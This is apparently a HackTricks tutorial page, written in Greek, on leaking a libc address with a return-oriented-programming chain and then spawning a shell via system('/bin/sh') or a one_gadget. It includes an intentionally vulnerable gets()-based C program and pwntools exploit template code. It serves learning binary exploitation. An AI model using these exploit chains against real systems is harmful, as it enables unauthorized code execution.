Διαρροή διεύθυνσης libc με ROP
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Γρήγορη Περίληψη
- Βρείτε το offset υπερχείλισης
- Βρείτε το gadget
POP_RDI
, τα gadgetsPUTS_PLT
καιMAIN
- Χρησιμοποιήστε τα προηγούμενα gadgets για να διαρρεύσετε τη διεύθυνση μνήμης του puts ή άλλης συνάρτησης libc και βρείτε την έκδοση libc (κατεβάστε το)
- Με τη βιβλιοθήκη, υπολογίστε το ROP και εκμεταλλευτείτε το
Άλλοι οδηγοί και δυαδικά αρχεία για εξάσκηση
Αυτός ο οδηγός θα εκμεταλλευτεί τον κώδικα/δυαδικό αρχείο που προτείνεται σε αυτόν τον οδηγό: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Άλλοι χρήσιμοι οδηγοί: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Κώδικας
Όνομα αρχείου: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Leaking LIBC template
Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο:
1- Εύρεση του offset
Το template χρειάζεται ένα offset πριν συνεχίσει με το exploit. Αν παρέχεται κάποιο, θα εκτελέσει τον απαραίτητο κώδικα για να το βρει (κατά προεπιλογή OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Εκτελέστε python template.py
θα ανοίξει μια κονσόλα GDB με το πρόγραμμα που έχει καταρρεύσει. Μέσα σε αυτήν την κονσόλα GDB εκτελέστε x/wx $rsp
για να αποκτήσετε τα bytes που θα αντικαθιστούσαν το RIP. Τέλος, αποκτήστε την απόσταση χρησιμοποιώντας μια κονσόλα python:
from pwn import *
cyclic_find(0x6161616b)
Αφού βρείτε την απόσταση (σε αυτή την περίπτωση 40) αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτή την τιμή.
OFFSET = "A" * 40
Ένας άλλος τρόπος θα ήταν να χρησιμοποιήσετε: pattern create 1000
-- εκτελέστε μέχρι ret -- pattern seach $rsp
από το GEF.
2- Εύρεση Gadgets
Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε puts
για να βρούμε τη libc που χρησιμοποιείται, και αργότερα για να εκκινήσουμε την τελική εκμετάλλευση.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
Ο PUTS_PLT
είναι απαραίτητος για να καλέσει τη συνάρτηση puts.
Ο MAIN_PLT
είναι απαραίτητος για να καλέσει ξανά τη κύρια συνάρτηση μετά από μία αλληλεπίδραση για να εκμεταλλευτεί την υπερχείλιση ξανά (άπειροι γύροι εκμετάλλευσης). Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει ξανά το πρόγραμμα.
Ο POP_RDI είναι απαραίτητος για να περάσει μια παράμετρο στη καλούμενη συνάρτηση.
Σε αυτό το βήμα δεν χρειάζεται να εκτελέσετε τίποτα καθώς όλα θα βρεθούν από το pwntools κατά την εκτέλεση.
3- Εύρεση βιβλιοθήκης libc
Τώρα είναι η ώρα να βρούμε ποια έκδοση της βιβλιοθήκης libc χρησιμοποιείται. Για να το κάνουμε αυτό, θα διαρρεύσουμε τη διεύθυνση στη μνήμη της συνάρτησης puts
και στη συνέχεια θα αναζητήσουμε σε ποια έκδοση βιβλιοθήκης βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Για να το κάνετε αυτό, η πιο σημαντική γραμμή του εκτελούμενου κώδικα είναι:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατή η επικάλυψη του RIP: OFFSET
.
Στη συνέχεια, θα ρυθμίσει τη διεύθυνση του gadget POP_RDI
έτσι ώστε η επόμενη διεύθυνση (FUNC_GOT
) να αποθηκευτεί στο μητρώο RDI. Αυτό συμβαίνει επειδή θέλουμε να καλέσουμε το puts περνώντας τη διεύθυνση του PUTS_GOT
καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το PUTS_GOT
.
Μετά από αυτό, θα κληθεί το PUTS_PLT
(με το PUTS_GOT
μέσα στο RDI) έτσι ώστε το puts να διαβάσει το περιεχόμενο μέσα στο PUTS_GOT
(η διεύθυνση της συνάρτησης puts στη μνήμη) και θα το εκτυπώσει.
Τέλος, η κύρια συνάρτηση καλείται ξανά ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά.
Με αυτόν τον τρόπο έχουμε παγιδεύσει τη συνάρτηση puts να εκτυπώσει τη διεύθυνση στη μνήμη της συνάρτησης puts (η οποία είναι μέσα στη βιβλιοθήκη libc). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να αναζητήσουμε ποια έκδοση libc χρησιμοποιείται.
Καθώς εκμεταλλευόμαστε κάποιο τοπικό δυαδικό, δεν είναι απαραίτητο να καταλάβουμε ποια έκδοση της libc χρησιμοποιείται (απλώς βρείτε τη βιβλιοθήκη στο /lib/x86_64-linux-gnu/libc.so.6
).
Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:
3.1- Αναζητώντας την έκδοση libc (1)
Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: https://libc.blukat.me/
Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της libc
3.2- Αναζητώντας την έκδοση libc (2)
Μπορείτε επίσης να κάνετε:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Αυτό θα πάρει λίγο χρόνο, να είστε υπομονετικοί.
Για να λειτουργήσει αυτό, χρειαζόμαστε:
- Όνομα συμβόλου libc:
puts
- Διεύθυνση libc που διαρρέει:
0x7ff629878690
Μπορούμε να καταλάβουμε ποια libc είναι πιο πιθανό να χρησιμοποιείται.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Παίρνουμε 2 αντιστοιχίες (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Αντιγράψτε τη libc από libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
στον κατάλογό μας εργασίας.
3.3- Άλλες συναρτήσεις για διαρροή
puts
printf
__libc_start_main
read
gets
4- Εύρεση διεύθυνσης libc βάσει & εκμετάλλευση
Σε αυτό το σημείο θα πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό, θα χρησιμοποιήσω απλώς: /lib/x86_64-linux-gnu/libc.so.6
Έτσι, στην αρχή του template.py
αλλάξτε τη μεταβλητή libc σε: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
Δίνοντας τη διαδρομή στη βιβλιοθήκη libc, το υπόλοιπο της εκμετάλλευσης θα υπολογιστεί αυτόματα.
Μέσα στη συνάρτηση get_addr
, η βάση διεύθυνση της libc θα υπολογιστεί:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Σημειώστε ότι η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00. Αν αυτό δεν ισχύει για εσάς, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη.
Στη συνέχεια, η διεύθυνση της συνάρτησης system
και η διεύθυνση της συμβολοσειράς "/bin/sh" θα υπολογιστούν από τη διεύθυνση βάσης της libc και θα δοθούν τη βιβλιοθήκη libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Τέλος, η εκμετάλλευση εκτέλεσης /bin/sh θα προετοιμαστεί και θα σταλεί:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Ας εξηγήσουμε αυτό το τελικό ROP.
Το τελευταίο ROP (rop1
) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να εκμεταλλευτούμε ξανά την υπερχείλιση (γι' αυτό ο OFFSET
είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε το POP_RDI
δείχνοντας στη διεύθυνση του "/bin/sh" (BINSH
) και να καλέσουμε τη συνάρτηση system (SYSTEM
) επειδή η διεύθυνση του "/bin/sh" θα περαστεί ως παράμετρος.
Τέλος, η διεύθυνση της συνάρτησης εξόδου καλείται ώστε η διαδικασία να τερματίσει ομαλά και να μην παραχθεί καμία ειδοποίηση.
Με αυτόν τον τρόπο, η εκμετάλλευση θα εκτελέσει ένα /bin/sh shell.
4(2)- Χρησιμοποιώντας το ONE_GADGET
Μπορείτε επίσης να χρησιμοποιήσετε ONE_GADGET για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε τη system και το "/bin/sh". ONE_GADGET θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία διεύθυνση ROP.
Ωστόσο, συνήθως υπάρχουν κάποιες περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως [rsp+0x30] == NULL
Καθώς ελέγχετε τις τιμές μέσα στο RSP απλώς πρέπει να στείλετε μερικές ακόμα NULL τιμές ώστε να αποφευχθεί ο περιορισμός.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FILE
Μπορείτε να βρείτε ένα πρότυπο για να εκμεταλλευτείτε αυτήν την ευπάθεια εδώ:
Common problems
MAIN_PLT = elf.symbols['main'] not found
Εάν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού είναι ο κύριος κώδικας:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
και ορίστε τη διεύθυνση χειροκίνητα:
MAIN_PLT = 0x401080
Puts not found
Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts, θα πρέπει να ελέγξετε αν χρησιμοποιεί
sh: 1: %s%s%s%s%s%s%s%s: not found
Αν βρείτε αυτό το σφάλμα μετά τη δημιουργία όλων των exploit: sh: 1: %s%s%s%s%s%s%s%s: not found
Δοκιμάστε να αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.